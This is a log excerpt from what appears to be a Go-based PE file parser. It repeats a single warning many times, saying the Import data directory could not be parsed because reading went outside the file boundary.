source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 